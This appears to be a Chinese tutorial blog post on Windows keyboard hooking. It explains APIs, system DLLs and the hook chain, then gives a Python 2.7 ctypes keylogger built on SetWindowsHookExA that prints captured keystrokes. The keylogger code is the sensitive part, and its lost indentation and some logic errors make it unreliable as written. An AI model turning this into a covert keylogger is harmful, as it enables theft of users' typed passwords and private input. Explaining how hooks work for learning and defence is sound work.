前言
至于这次我把Hooking（钩子）归类为傲慢，原因只有一点：自负只会导致不注重甚至忽略小错误，而小错误也可以将整个局面崩盘。
显然，一部分黑客，或者说脚本小子，他们觉得自己超过了身边的人就是很厉害的高手了。
但是他们不知道，其实黑客的路很长，甚至说没有尽头。
止步不前，固步自封，自负傲慢，自我催眠，这样的黑客并不是好黑客，相对的，因为蔑视了一个小问题而导致整个局面崩盘的黑客，也不配成为黑客。
就像Hooking一样，它只是一个钩子，很容易被发现，也很容易被防住，但就是很多人蔑视它，甚至某一部分黑客也不把它当回事，最终导致自己所键入的信息被盗走，然后无能狂怒。
在我身边的这类人大多数都是瞧不起Hooking，却吃了Hooking的亏。
所以说，希望大家无论做什么，都要认真面对，也不要停下呀~
好啦，回归正题，刚才所说的Hooking到底是什么？它又是怎样的原理？
一、什么是Hooking（钩子）？
王者荣耀应该很亲民吧~
那么，记不记得我们钟馗大哥的钩子？
就像他的钩子一样，回城钩，预判钩，偷袭钩，各种钩……
现在，想象一下你自己就是那个钟馗，看准目标，放钩子，然后钩到对方英雄、小兵甚至是野怪……
那么，如果把钩到的东西当作数据呢？
你钩到数据，获取并看到了，甚至可以动手增删改，这就是在黑客攻防里的“钩子”。
那么，如何实现一个钩子呢？
在这里，为了更方便大家了解，以Windows为舟：
一、问题所在：钩子应该钩到哪里？
首先，我们先不考虑钩子是怎么做出来的，考虑一下如果钩子做出来了应该钩到哪里？
既然是钩子起码得有个挂的地方对吧~
呐，在Windows里，有一个传输数据的重要组件，叫做“接口”：
接口（硬件类接口）是指同一计算机不同功能层之间的通信规则称为接口。 [1]
接口（软件类接口）是指对协定进行定义的引用类型。其他类型实现接口，以保证它们支持某些操作。接口指定必须由类提供的成员或实现它的其他接口。与类相似，接口可以包含方法、属性、索引器和事件作为成员。
——百度百科
上述介绍中，我们可以知道接口分两种，一种是硬件类接口，一种是软件类接口。
而如果你想成为物理黑客攻击硬件类接口，在后面我发表的文章里会提到的。
那么，这篇文章中，要提及的是软件类接口。
在Windows里接口可以说是很常见了，而大家最常用的一种，叫做API（应用程序接口）。
二、API到底是什么？
API之主要目的是提供应用程序与开发人员以访问一组例程的能力，而又无需访问源码，或理解内部工作机制的细节。提供API所定义的功能的软件称作此API的实现。API是一种接口，故而是一种抽象。
应用程序接口（英语：Application Programming Interface，简称：API），又称为应用编程接口，就是软件系统不同组成部分衔接的约定。由于近年来软件的规模日益庞大，常常需要把复杂的系统划分成小的组成部分，编程接口的设计十分重要。程序设计的实践中，编程接口的设计首先要使软件系统的职责得到合理划分。良好的接口设计可以降低系统各部分的相互依赖，提高组成单元的内聚性，降低组成单元间的耦合程度，从而提高系统的维护性和扩展性。
——百度百科
这就是API的精准定义了。Windows API是微软提供的应用程序编程接口集合。开发应用程序时，需要通过API调用操作系统（内核）提供的丰富功能。基本上在Windows的各种程序中都会用到API，因此我会以API举例来阐述怎样设计钩子以及挂在API上。
不过再此之前，我们不仅要了解API的定义，还要了解它的一些特性以及机制。
呐，下面我们看图说话~：
从图中我们可以看出Windows API的基本架构了，而需要注意的是，在Win32 API中，拥有一些.dll文件，呐，这些.dll文件的作用是什么呢？
三、衍生问题：dll是个啥？
一般情况下，开发Windows应用程序时，往往要使用各种lib与DLL库。
lib是静态库，在生成.exe文件时，它们会被包含到程序中。
而DLL是动态链接库，只有应用程序运行的时候，才会被加载调用相应的一些。
而Win32 API大部分以DLL动态链接库的形式存在，比如：
1.kernel32.dll
提供对文件系统、设备、进程、线程等基本资源的访问功能。
2.user32.dll
提供用户接口功能，其中包括创建、管理窗口，接受Windows消息，在屏幕上绘制文本，显示消息框。
3.gdi32.dll
提供对显示器、打印机以及其他输出设备的管理功能。
4.comdlg32.dll
提供打开文件、保存文件、选择颜色和字体等标准对话框管理功能。
5.comctl32.dll
支持应用程序访问操作系统的状态条、进度条、工具条等功能。
6.shell32.dll
支持应用程序访问操作系统shell提供的功能。
（上述.dll文件如下图所示：）
除此之外，Win32 API还包含其他很多.dll文件，到这里不一一举例~
（看作者这么辛苦就别折腾作者了~球球了~QAQ）
而我们想设置钩子在Windows应用程序中，需要利用API这个东西，那么，我们该怎么利用它创建钩子呢？
四、准备前置
1、老配方的老蟒蛇~（Python2.7）
老蛇：嘶~（我又来啦~~~）
2、ctype 模块~
在我们Python中，拥有一个可以简化动态库调用过程的模块叫做ctype。它支持复杂的C数据类型，提供低级函数。只要你遵守函数调用规定，它就可以帮你直接调用MSDN提供的API~
（如下图所示）
五、实战（以键盘钩取为例）
由于钩子用法的多样性，在这里我们只以键盘钩取为例。
在这里因为思路比较复杂不太好说，我直接上图~：
设置好钩子以后，键盘输入消息进入线程队列时，调用钩子过程进行处理。
对此图中编号的解释：
（1）设置钩子：
通过user32.dll的SetWindowsHookExA()函数可以设置钩子，注册用于处理消息的钩子过程（回调函数）。
（2）注册钩链：
钩链管理注册后的钩子过程，钩链的最前面注册有钩子过程的指针。然后，等待键盘输入类型的消息进入相关线程的队列。
（3）键盘输入：
用户通过键盘键入信息。键盘控制器以计算机可识别的信号转换用户输入，并传递给键盘驱动程序。
（4）系统队列：
来自键盘的消息进入操作系统管理得到系统队列，等待进入负责处理消息的线程队列。
（5）线程队列：
消息进入处理线程队列以后，它们不会被发送到相应窗口，而是先发送给钩链中第一个指针所指的过程。
（6）消息钩取：
来自线程队列的消息被传递给钩链中第一个指针所指的钩子过程。
（7）钩子过程：
钩子过程接收消息，执行代码中的指定动作（这也就意味着黑客所编写的主要shell代码都在这里了）。处理结束后，将消息传递给钩链的下一个指针，此过程也称为“回调函数”。
（8）钩链指针：
消息被依次传递给钩链中指针所指的钩子过程。最后一个钩子过程处理完消息后，将消息传递给原先指定的窗口。
（注意：使用此思路的大前提是——目标计算机中未安装键盘安全程序！！！）
如果把上述思路写成代码……在这里考虑到安全性（防止有脚本小子直接使用代码，给用户数据造成没必要的伤害）以及便利性，我以谷歌为例举出代码。
当然，这里还有一点需要注意的是:既然钩子挂上了，如果它一直执行，是不是感觉怪怪的……
因此要注意:最后要毁钩子！最后要毁钩子！最后要毁钩子！重要的事情说三遍！！！
代码如下:
import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD
user32 = windll.user32
kernel32 = windll.kernel32
WM_KEYBOARD_LL = 13
WM_KEYDOWN = 0x0100
CTRL_CODE = 162
class KeyLogger:
def __init__(self):
self.lUser32 = user32
self.hooked = None
def installHookProc(self, pointer):
self.hooked = self.lUser32.SetWindowsHookExA(
WM_KEYBOARD_LL,
pointer,
kernel32.GetModuleHandleW(None),
0
)
def uninstallHookProc(self):
if self.hooked is None:
return
self.lUser32.UnhookWindowsHookEx(self.hooked)
self.hooked = None
def getFPTR(fn):
CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
return CMPFUNC(fn)
def hookProc(nCode, wParam, lParam):
if wParam is not WM_KEYDOWN:
return user32.CallNextHookEx(KeyLogger.hooked, nCode, wParam, lParam)
hookedkey = chr(lParam[0])
print hookedkey
if CTRL_CODE == int(lParam[0]):
print "Ctrl pressed, call uninstallHook()"
KeyLogger.uninstallHookProc()
sys.exit(-1)
return user32.CallNextHookEx(KeyLogger.hooked, nCode, wParam, lParam)
def startKeyLog():
msg = MSG()
user32.GetMessageA(byref(msg), 0, 0, 0)
KeyLogger = KeyLogger()
pointer = getFPTR(hookProc)
if KeyLogger.installHookProc(pointer):
print "installed KeyLogger"
startKeyLog()
后序
还是那句话：此文章只供参考和学习，如果拿了这个东西干了什么坏事的话……违法我不追究，毕竟该审判你的不是我，是法律哦！！！~
——Redice（Yatogami）
703
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
